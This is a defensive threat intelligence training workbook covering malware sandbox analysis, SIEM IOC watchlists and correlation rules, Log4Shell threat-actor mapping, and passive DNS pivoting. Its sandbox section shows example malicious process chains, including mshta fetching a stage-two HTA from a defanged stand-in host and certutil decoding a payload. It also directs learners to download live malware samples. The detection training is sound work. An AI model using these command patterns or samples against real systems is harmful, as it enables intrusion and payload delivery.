Cyber Threat Intelligence
Intermediate Workbook
Four hands-on exercises that take you from reading threat data to building operational defences. Work through each exercise in order — each builds on the last.
These four exercises cover the skills that separate a threat intelligence consumer from a threat intelligence practitioner. You will learn how to:
- Understand malware behaviour from sandbox output rather than just static metadata
- Build alerting infrastructure inside a SIEM so threat feeds actually trigger detections
- Trace a CVE from vulnerability to threat actor, producing a prioritised remediation brief
- Walk attacker infrastructure through passive DNS pivoting
Malware Sandbox Analysis
Concept
A sandbox is a controlled, isolated virtual environment that runs a potentially malicious file and records everything it does — without any risk to real systems. Think of it like a glass room: the malware thinks it is running normally, but analysts can watch its every move through the walls.
Static analysis (checking hashes, strings, and metadata) tells you what a file is. Dynamic sandbox analysis tells you what it does — which is ultimately more important for detection and response.
Why not just run it yourself?
Modern malware families like Emotet, QakBot, and LockBit use anti-sandbox techniques: they check whether they are running inside a virtual machine, sleep for minutes before activating, or look for user activity before detonating. Professional sandboxes like any.run and Joe Sandbox are designed to defeat these techniques — they simulate user interaction, inject real-looking browser history, and disguise the virtualisation layer. You cannot replicate this safely on a personal machine.
Step-by-step: any.run
Go to app.any.run and register with a non-personal email. The free tier allows public analyses, which is fine for known-bad samples. Once logged in, you'll land on the dashboard showing community analyses.
Take a moment to browse a few public analyses before submitting your own — get familiar with the layout.
Visit bazaar.abuse.ch and search for a known malware family, e.g. Emotet or AgentTesla. Download a sample using the provided hash — MalwareBazaar packages samples in password-protected ZIPs (password: infected) to prevent accidental execution.
Record the SHA256 hash before you do anything else. This is your primary identifier for the sample.
In any.run, click New Task. Upload your sample. Set the environment to Windows 10 x64 (most modern malware targets this). Leave the network option on "Fake net" initially — this prevents real C2 communication while still recording connection attempts.
Click Run. The analysis takes 2–4 minutes. You can watch it in real time.
The Process Tree panel shows every process that was spawned during execution. This is where you start analysis. A legitimate Word document does not spawn cmd.exe or powershell.exe — so if you see that chain, you've confirmed malicious behaviour.
Common malicious chains to look for:
WINWORD.EXE
└─ cmd.exe /c powershell.exe -enc [base64]
└─ powershell.exe
└─ regsvr32.exe payload.dll
# Phishing PDF spawning browser and download
AcroRd32.exe
└─ cmd.exe
└─ mshta.exe http://evil[.]com/stage2.hta
# Script-based dropper
wscript.exe malicious.vbs
└─ cmd.exe
└─ certutil.exe -decode payload.b64 payload.exe
└─ payload.exe [persistence + C2]
Switch to the Network tab. You'll see DNS queries and TCP/UDP connections. Even on "Fake net" mode, the malware will still attempt to connect — any.run records the destination IPs and domains even if they're sinkholes.
For each connection, note the destination IP/domain, the port, and the protocol. Port 443 to an unusual IP often means HTTPS C2 traffic.
The Registry tab shows any registry modifications. The most common persistence technique is writing to autorun keys. Look specifically for:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# System-level persistence (runs for all users, requires admin)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
# Scheduled tasks (also check the Tasks tab in any.run)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
# Browser hijack persistence
HKCU\Software\Microsoft\Internet Explorer\Main
any.run automatically maps many behaviours to ATT&CK techniques. But you should also do this manually for the techniques it flags. Go to attack.mitre.org and find the full description for each technique ID to confirm it matches what you observed.
What good findings look like
Your analysis should produce a structured set of observations. Here is an example for a fictional AgentTesla sample:
| Category | Finding | ATT&CK Technique |
|---|---|---|
| Execution | WINWORD.EXE spawned cmd.exe, then powershell.exe with encoded command | T1059.001 |
| Persistence | Wrote copy of self to %APPDATA%\svchost32.exe, added HKCU Run key |
T1547.001 |
| C2 Network | DNS query for mail.domain-update[.]ru, TCP 587 (SMTP exfil) |
T1071.003 |
| Credential Access | Accessed Chrome credential store at default path | T1555.003 |
| Defence Evasion | Called IsDebuggerPresent API; sleep loop of 120 seconds on start |
T1497.001 |
- Your sandbox report shows
powershell.exe -WindowStyle Hidden -enc [long base64 string]. What does the-encflag mean, and how would you decode it to see what it does? - The malware only communicates on port 443 to a legitimate-looking domain. Why might this be harder to block than a connection to a raw IP address?
- You see a registry write to
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogonwith a modifiedUserinitvalue. Why is this particularly dangerous? - The sandbox detects no network activity at all. Does this mean the sample is not malicious? Explain your reasoning.
- SHA256 hash and malware family name of your sample
- Annotated process tree (screenshot with labels explaining each chain)
- Table of all network IOCs (IPs, domains, ports) extracted from the analysis
- List of all persistence mechanisms observed, with full registry paths
- ATT&CK technique mapping — minimum 4 techniques with your evidence for each
Build a Custom IOC Watchlist in a SIEM
Concept
A SIEM (Security Information and Event Management) system is the central nervous system of a SOC. It collects log data from across the organisation — firewalls, endpoints, cloud services — and lets analysts run queries and correlation rules against it.
The workflow you will build in this exercise is one of the most common in professional SOCs:
Part A — Get a live IOC feed
We will use the Feodo Tracker botnet IOC feed from Abuse.ch, which provides C2 IPs for banking malware families (Emotet, QakBot, IcedID). It is free, updated multiple times daily, and well-structured.
from datetime import datetime
# Feodo Tracker provides a clean CSV of active C2 IPs
FEED_URL = "https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.csv"
resp = requests.get(FEED_URL, timeout=15)
lines = [l for l in resp.text.splitlines() if not l.startswith("#")]
# Parse into list of dicts
reader = csv.DictReader(io.StringIO("\n".join(lines)))
iocs = list(reader)
# Show first 3 records
for row in iocs[:3]:
print(row)
# Output format:
# {'first_seen_utc': '2024-01-15 09:23:00', 'dst_ip': '185.220.101.1',
# 'dst_port': '449', 'c2_status': 'online', 'last_online': '2024-01-15',
# 'malware': 'Emotet'}
Part B — Format for SIEM ingest
Both Splunk and Elastic expect a specific CSV format for lookup tables. The key column is the one you will match against in your correlation rule. Clean and output the feed:
# Output a clean lookup CSV
with open("feodo_watchlist.csv", "w", newline="") as f:
writer = csv.DictWriter(f,
fieldnames=["ip", "port", "malware_family", "threat_type", "first_seen"])
writer.writeheader()
for row in iocs:
writer.writerow({
"ip": row["dst_ip"],
"port": row["dst_port"],
"malware_family": row["malware"],
"threat_type": "botnet_c2",
"first_seen": row["first_seen_utc"]
})
print(f"Wrote {len(iocs)} IOCs to feodo_watchlist.csv")
Part C — Splunk: import and write a correlation rule
In Splunk: go to Settings → Lookups → Lookup Table Files → Add New. Upload feodo_watchlist.csv. Then go to Lookup Definitions → Add New, select your file, and name the definition feodo_c2_iocs.
Run this SPL query in the Splunk search bar to confirm the lookup loaded correctly. You should see all rows from your CSV returned:
| stats count by malware_family
# Expected output (example):
malware_family count
Emotet 127
QakBot 84
IcedID 31
This rule joins your firewall logs against the watchlist. Any connection where the destination IP matches a known C2 server will be returned as an alert event:
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed"
by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.dest_port
| rename All_Traffic.* as *
| lookup feodo_c2_iocs ip as dest_ip OUTPUT malware_family threat_type
| where isnotnull(malware_family)
| eval alert_title="Potential C2 Communication: ".malware_family
| table alert_title, src_ip, dest_ip, dest_port, malware_family, count, first_seen, last_seen
| sort -count
Click Save As → Alert. Set the schedule to run every 5 minutes. Under Trigger Conditions, select "Number of results is greater than 0". This means the alert fires whenever any log event matches an IOC in your watchlist.
Part D — Test with a log replay
An untested detection rule is worthless. You must verify that it fires correctly by replaying logs that contain known-bad IPs from your watchlist.
from datetime import datetime, timezone
# Grab a real IOC from your watchlist to use in the test
TEST_C2_IP = "185.220.101.1" # Replace with an actual IP from your feed
TEST_C2_PORT = "449"
# Generate synthetic firewall logs, one of which matches your IOC
events = []
for i in range(50):
dest = TEST_C2_IP if i == 25 else f"8.8.{random.randint(0,255)}.{random.randint(1,254)}"
events.append({
"timestamp": datetime.now(timezone.utc).isoformat(),
"src_ip": f"10.0.0.{random.randint(1, 254)}",
"dest_ip": dest,
"dest_port": TEST_C2_PORT if i == 25 else "443",
"action": "allowed",
"bytes_out": random.randint(100, 50000)
})
with open("test_firewall_logs.csv", "w") as f:
w = csv.DictWriter(f, fieldnames=list(events[0].keys()))
w.writeheader()
w.writerows(events)
print("Test log written. Import into Splunk and confirm your rule fires on event #25.")
Elastic SIEM alternative
If you are using Elastic instead of Splunk, the workflow is equivalent. After loading your CSV as a Value List (Security → Manage → Value Lists), write your detection rule using the following KQL logic:
/* Rule Type: Threshold | Index: logs-*,filebeat-* */
event.category:"network" and
network.direction:"egress" and
destination.ip: {feodo_c2_ips} /* reference your uploaded Value List */
/* Set threshold: group by source.ip, alert if count > 1 in 5 min */
/* Severity: High | Risk Score: 73 | MITRE: T1071, T1041 */
last_online field from Feodo Tracker. Consider only alerting on IOCs seen in the past 30 days, and use the VT score to validate before escalating.
- Your correlation rule fires 200 times in an hour, all from the same internal IP. What is the first thing you should investigate before escalating?
- You update the Feodo watchlist CSV but your Splunk rule still matches against the old data. What did you forget to do?
- A colleague suggests matching on domains instead of IPs because IPs change too often. What additional data source would you need to ingest to make domain-based matching work in a SIEM?
- What is the difference between a lookup-based detection rule and a signature-based IDS rule? Which produces more actionable context?
- Python script that downloads, cleans, and exports the Feodo feed to SIEM-ready CSV
- Screenshot of your lookup table loaded successfully in Splunk or Elastic
- The full SPL or KQL query for your correlation rule (saved as .txt)
- Screenshot showing the rule firing when you replay the test log
- A note on one false-positive scenario your rule might generate, and how you would suppress it
CVE to Threat Actor Mapping
Concept
Not all vulnerabilities are equal. A CVE with a CVSS score of 9.8 that no one is actively exploiting is a lower operational priority than a CVE with a score of 7.5 that a ransomware group weaponised within 48 hours of disclosure.
This exercise teaches you to trace the complete lifecycle of a vulnerability from its first disclosure through to active exploitation, producing the kind of intelligence brief that helps a CISO make a patching decision on imperfect information.
Step 1: Understand the vulnerability
Before you can attribute exploitation to a threat actor, you need to understand what the vulnerability actually does. Start at the authoritative sources:
Visit nvd.nist.gov/vuln/detail/CVE-2021-44228. Record: the CVSS score and vector string, the affected software and version range, the CWE (weakness class), and the references listed. The NVD entry is the authoritative technical description.
The CVSS vector for Log4Shell is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Decode what each component means — this matters when explaining risk to non-technical stakeholders.
Visit cisa.gov/known-exploited-vulnerabilities-catalog and search for CVE-2021-44228. If it is listed (it is), record: the date it was added to the KEV, the required action, and the due date CISA set for federal agencies.
CISA only adds CVEs to the KEV when they have observed active exploitation. A CVE in the KEV is by definition being used in real attacks right now.
Use public reporting to reconstruct the timeline. For Log4Shell this is exceptionally well-documented. You are looking for:
| Date | Event | Significance |
|---|---|---|
| Nov 24, 2021 | Alibaba Cloud security team privately reported the vulnerability to Apache | Start of responsible disclosure window |
| Dec 9, 2021 | Public PoC published on GitHub before Apache patch was finalised; CVE assigned | Zero-day window begins — patch does not yet exist |
| Dec 10, 2021 | Apache releases Log4j 2.15.0 patch; mass scanning begins within hours | Race begins: patch vs exploitation at scale |
| Dec 11, 2021 | Iranian APT group (Charming Kitten / APT35) observed exploiting unpatched systems | Nation-state weaponisation within 36 hours of PoC |
| Dec 13, 2021 | Conti ransomware group shares internal chat showing Log4Shell integration into their toolkit | Criminal weaponisation; ransomware deployment risk |
| Jan 2022+ | Multiple ransomware and cryptominer campaigns continue exploiting unpatched systems | Long tail: months of active exploitation post-patch |
Step 2: Research which threat actors exploited it
Use open-source reporting to compile a threat actor list. Useful sources include CISA advisories, Mandiant blog posts, Microsoft MSTIC reports, and vendor publications from CrowdStrike, Palo Alto Unit 42, and Recorded Future.
site:mandiant.com Log4Shell CVE-2021-44228 APT or site:cisa.gov Log4j advisory returns authoritative reporting rather than noise. For each threat actor you find, record their name, suspected origin country, target sectors, and what they did with Log4Shell (initial access, lateral movement, ransomware deployment, etc.).
Build a threat actor table for your analysis. The exercise data below is based on verified public reporting:
| Threat Actor | Attribution | Use of Log4Shell | Target Sectors | Source |
|---|---|---|---|---|
| APT35 / Charming Kitten | Iran | Initial access, backdoor deployment | Government, Defence, Healthcare | Microsoft MSTIC |
| Hafnium | China | Intelligence collection on US defence contractors | Defence Industrial Base | CISA AA21-356A |
| Conti (Criminal) | Russia-linked | Initial access leading to ransomware deployment | Enterprise, Healthcare, Financial | CrowdStrike, leaked chat logs |
| Phosphorus / DEV-0228 | Iran | Mass scanning; deployed NightSky ransomware | Israeli businesses, transportation | Microsoft MSTIC Jan 2022 |
| Opportunistic cryptominers | Multiple | Deploy XMRig, Kinsing miners via JNDI injection | Any exposed server — cloud-heavy | Aqua Security, Lacework |
Step 3: Identify vulnerable assets in your mock organisation
This step simulates what a real analyst does for their employer. You have been given a mock asset inventory. Your task is to identify which assets are affected.
For your mock organisation, assume the following asset inventory. Work through each row and assess exposure:
| Asset | Technology | Internet-Facing? | Log4j Version | Your Risk Assessment |
|---|---|---|---|---|
| HR Portal | Custom Java Spring app | Yes | 2.12.1 | CRITICAL — patch immediately |
| Internal Wiki | Confluence (Java) | No (VPN only) | 2.13.3 | Your assessment here |
| Monitoring Dashboard | Elastic SIEM | No (internal) | Uses bundled Log4j | Your assessment here |
| Payment Gateway | .NET / C# stack | Yes | Not applicable | Your assessment here |
| CI/CD Pipeline | Jenkins (Java) | No (dev network) | 2.16.0 | Your assessment here |
Step 4: Write the prioritised remediation brief
Translate your research into an action document. A good remediation brief answers three questions:
- What is the risk? Plain-language description of the vulnerability and its impact, without jargon
- Who is targeting this? Relevant threat actors for your sector, with confidence levels
- What should we do and in what order? Prioritised actions by asset criticality and exposure
Classification: TLP:WHITE | Date: [DATE] | Author: [YOUR NAME]
1. EXECUTIVE SUMMARY
2–3 sentences: what is it, why it matters for us, what we are doing
2. TECHNICAL SUMMARY
CVE, CVSS score, affected components, root cause (JNDI injection)
3. THREAT ACTOR LANDSCAPE
Table: actor, origin, targeting, observed TTPs
Relevance to our sector: [HIGH / MEDIUM / LOW] with justification
4. AFFECTED ASSETS — OUR ENVIRONMENT
P1 (patch within 24h): [list]
P2 (patch within 7 days): [list]
P3 (not affected / monitor): [list]
5. RECOMMENDED ACTIONS
Immediate: network block JNDI callback IPs, WAF rule deployment
Short term: patch schedule, detection rules in SIEM
Ongoing: Log4j inventory scan, hunt for past exploitation
6. INDICATORS OF COMPROMISE
List of observed exploitation IPs and malicious JNDI strings
- CVSS scores measure technical severity, not exploitability in the wild. Name two CVEs that had low CVSS scores but were heavily exploited, or two with high CVSS scores that were almost never used in real attacks. What does this tell you about using CVSS as a sole prioritisation metric?
- Your organisation runs a Java application but your developers say "we don't directly use Log4j." Why might you still be vulnerable?
- CISA's KEV mandates patching for US federal agencies. If you work in the Nigerian private sector, why should you still care about KEV entries?
- What is the difference between a mitigation (e.g. WAF rule blocking JNDI strings) and a remediation (patching)? In what situation would you deploy a mitigation without immediately patching?
- Completed exploitation timeline for Log4Shell (at least 6 dated events)
- Threat actor table with minimum 4 actors, sourced from named publications
- Completed mock asset risk assessment with justification for each row
- Full remediation brief using the template, 1–2 pages, addressed to a non-technical CISO
DNS-Based Threat Intelligence
Concept: what is passive DNS?
When your browser resolves a domain name, a DNS resolver converts it to an IP address. Passive DNS databases are built by recording these resolution events at scale — essentially logging every domain-to-IP mapping observed across millions of resolvers over years of time.
This historical record is invaluable for threat intelligence because attackers rarely build their infrastructure from scratch for each operation. They rotate IPs, but patterns persist: the same name server, the same registrar, the same subnet, the same SSL certificate. Passive DNS lets you find these patterns and pivot across them.
- Attacker registers a domain (often via privacy-preserving registrar, with a typosquat or lookalike name)
- Attacker configures DNS — the domain resolves to a hosted C2 or phishing server IP
- Campaigns run — victims connect to the domain; passive DNS logs the A record resolution
- Domain is burned — defender blocks it, attacker moves to a new domain
- Old infrastructure reused — new domain points to same IP, same hosting provider, same NS
- Analyst pivots — finds the new domain by querying who else resolves to that IP
Key pivot types
| Starting Point | Pivot To | What you find |
|---|---|---|
| Domain | Historical IPs | All IPs the domain has ever pointed to — reveals hosting history |
| IP address | All domains hosted | Other malicious domains on the same server — shared infrastructure |
| Name server | All domains using it | Entire campaigns if attacker uses same NS for all their domains |
| Registrant email | All domains registered | Full domain portfolio of an attacker (if they didn't use privacy) |
| SSL certificate | All domains on cert | Wildcard certs reused across attacker infrastructure |
| ASN / IP range | All domains in subnet | Bulletproof hosting clusters used by criminal groups |
Step-by-step walkthrough
Go to securitytrails.com and create a free account. The free tier allows a limited number of API queries per month and access to the web interface, which is sufficient for this exercise. SecurityTrails provides historical DNS records, WHOIS data, and IP reverse lookups.
Your instructor will provide a seed domain from a recent threat report (or use a defanged domain from a public CISA advisory). Enter it in the SecurityTrails search bar. Never type a live malicious domain into a browser — always defang it by replacing the dots: evil[.]com means you are writing it, not visiting it.
On the domain page, you will see the current A record, historical A records, MX records, NS records, and subdomains. Record everything in your notes.
In SecurityTrails, click on the History tab for your domain. You will see a timeline of every IP address this domain has resolved to, with dates. For each historical IP, record it and note the date range it was active.
API_KEY = "YOUR_SECURITYTRAILS_API_KEY"
DOMAIN = "example-malicious-domain.com" # replace with your seed
HEADERS = {"APIKEY": API_KEY}
# Current DNS records
url = f"https://api.securitytrails.com/v1/domain/{DOMAIN}"
r = requests.get(url, headers=HEADERS)
data = r.json()
print("=== CURRENT DNS ===")
print("A records:", data.get("current_dns", {}).get("a", {}).get("values", []))
print("NS records:", data.get("current_dns", {}).get("ns", {}).get("values", []))
# Historical A records
url_hist = f"https://api.securitytrails.com/v1/history/{DOMAIN}/dns/a"
rh = requests.get(url_hist, headers=HEADERS)
hist = rh.json()
print("\n=== IP HISTORY ===")
for record in hist.get("records", []):
for val in record.get("values", []):
print(f" {val['ip']:20s} first: {record.get('first_seen','?')} last: {record.get('last_seen','?')}")
Take one of the IPs you found in the previous step. In SecurityTrails, search for this IP directly (or use the API endpoint below). This returns every domain that has ever pointed to this IP — which is the most powerful pivot in passive DNS analysis.
url = f"https://api.securitytrails.com/v1/reverse_dns/{IP}"
r = requests.get(url, headers=HEADERS)
data = r.json()
print(f"\n=== DOMAINS ON {IP} ===")
for domain in data.get("reverse_dns", {}).get("domains", []):
print(f" {domain}")
# For each domain found, check VirusTotal reputation:
# https://www.virustotal.com/gui/domain/{domain}
The name server pivot is often the most revealing. Attackers often use a single bulletproof DNS provider or self-hosted name server across their entire campaign. If you can identify the NS records for your seed domain, searching for all domains using those same name servers may return dozens or hundreds of related domains.
# E.g. if the NS is: ns1.attacker-hosting[.]com
NS = "ns1.attacker-hosting.com" # replace with discovered NS
url = "https://api.securitytrails.com/v1/domains/list"
body = {
"filter": {
"ns": NS
}
}
r = requests.post(url, json=body, headers=HEADERS)
data = r.json()
print(f"Found {data.get('total', 0)} domains sharing this name server:")
for d in data.get("records", []):
print(f" {d['hostname']}")
For every new domain surfaced through your pivots, quickly check its VirusTotal reputation. Not every domain on the same IP is malicious — some legitimate services share hosting infrastructure. Classify each as: confirmed malicious, suspicious, or likely benign.
Using whatever tool you prefer (draw.io, Maltego Community, or even pen and paper), draw the infrastructure network you have uncovered. Nodes should be: domains, IPs, name servers, and ASNs. Edges represent the DNS relationships between them. Colour-code nodes by confidence level.
This visual is the key deliverable — it turns passive DNS data into an intelligence picture an analyst can act on.
What good infrastructure analysis produces
Documenting your pivot chain
A pivot chain documents your analytical path so another analyst can reproduce or extend your work. Document it like this:
SEED: malicious-domain[.]com
Source: CISA advisory AA22-XXX
VT Score: 15/90 vendors flagged
PIVOT 1: malicious-domain[.]com → A record history
→ Found IPs: 185.220.101.1 (Jan–Mar 2024)
45.142.212.X (Apr 2024–present)
Tool: SecurityTrails history API
PIVOT 2: 185.220.101.1 → Reverse DNS
→ Found 14 co-hosted domains
→ 9 of 14 flagged on VirusTotal (malware/phishing)
Tool: SecurityTrails reverse_dns endpoint
PIVOT 3: All 9 confirmed malicious share NS: ns1.bullet-host[.]ru
→ NS pivot returns 47 domains
→ 31 of 47 confirmed malicious on VT
Tool: SecurityTrails domains/list filter
RESULT: 38 new IOCs (31 domains + 7 IPs) attributed to same actor
Confidence: MEDIUM-HIGH (shared NS + IP + VT corroboration)
Recommended action: Block all 31 domains at DNS level
- You find 40 domains co-hosted on a single IP. How do you efficiently determine which are malicious versus which are legitimate sites that happen to share a hosting provider?
- An attacker's domain historically resolved to IP 1.2.3.4, then moved to 5.6.7.8. Both IPs are in the same /24 subnet. What does this tell you about how the attacker manages their infrastructure?
- You discover that a malicious domain's name server is
ns1.legitimate-sounding-cloud.com. You search for all domains using this NS and find 10,000 results. Is this pivot useful? What would you do next? - A colleague says "passive DNS is outdated — attackers use fast-flux, domain fronting, and CDNs now." Respond to this critique. Which attacker categories does passive DNS still work well for, and which does it struggle with?
- Full pivot chain documentation (text format, like the template above)
- Infrastructure map (diagram showing domains, IPs, NS nodes and their relationships)
- Final IOC list: all confirmed malicious domains and IPs discovered through pivoting, in defanged format
- Brief written assessment: how organised is this attacker's infrastructure? What does the pattern tell you about their capability level?
Tool Stack Reference
All tools used in this workbook are free-tier or open-source. The table below summarises what each tool does and where to access it.
| Tool | Used In | Purpose | Access |
|---|---|---|---|
| any.run | EX-10 | Interactive malware sandbox; real-time process tree, network, and registry monitoring | app.any.run (free tier) |
| Joe Sandbox | EX-10 | Deep behavioural analysis; DGA detection; YARA matching; detailed PDF report | joesandbox.com (community free) |
| MalwareBazaar | EX-10 | Repository of known-bad file hashes; download samples for analysis | bazaar.abuse.ch |
| Splunk Free Trial | EX-11 | SIEM; lookup tables; SPL correlation rules and alerting | splunk.com/free-trials (60 days) |
| Elastic SIEM | EX-11 | SIEM alternative; Value Lists; KQL detection rules | elastic.co (free tier 14 days / self-hosted) |
| Feodo Tracker | EX-11 | Free daily-updated C2 IOC feed (IPs, ports, malware families) | feodotracker.abuse.ch |
| NVD | EX-12 | Authoritative CVE database; CVSS scores and vulnerability details | nvd.nist.gov |
| CISA KEV | EX-12 | Known exploited vulnerabilities catalogue; active exploitation confirmation | cisa.gov/known-exploited-vulnerabilities-catalog |
| SecurityTrails | EX-13 | Passive DNS; historical A/NS/MX records; reverse IP lookup; API access | securitytrails.com (free: 50 API queries/month) |
| VirusTotal | All exercises | File/URL/IP/domain reputation; AV detections; community comments | virustotal.com (free API: 500 req/day) |
| MITRE ATT&CK | EX-10, EX-12 | Technique taxonomy; group profiles; detection guidance | attack.mitre.org |
API key management
"YOUR_API_KEY". In practice, load keys from environment variables or a local config file that is not tracked by version control. A committed API key in a public GitHub repo will be scraped by bots within minutes.
# Load from environment variable (set in your shell: export VT_API_KEY="abc123")
VT_KEY = os.environ.get("VT_API_KEY")
ST_KEY = os.environ.get("SECURITYTRAILS_KEY")
if not VT_KEY:
raise EnvironmentError("VT_API_KEY not set. Run: export VT_API_KEY='your_key_here'")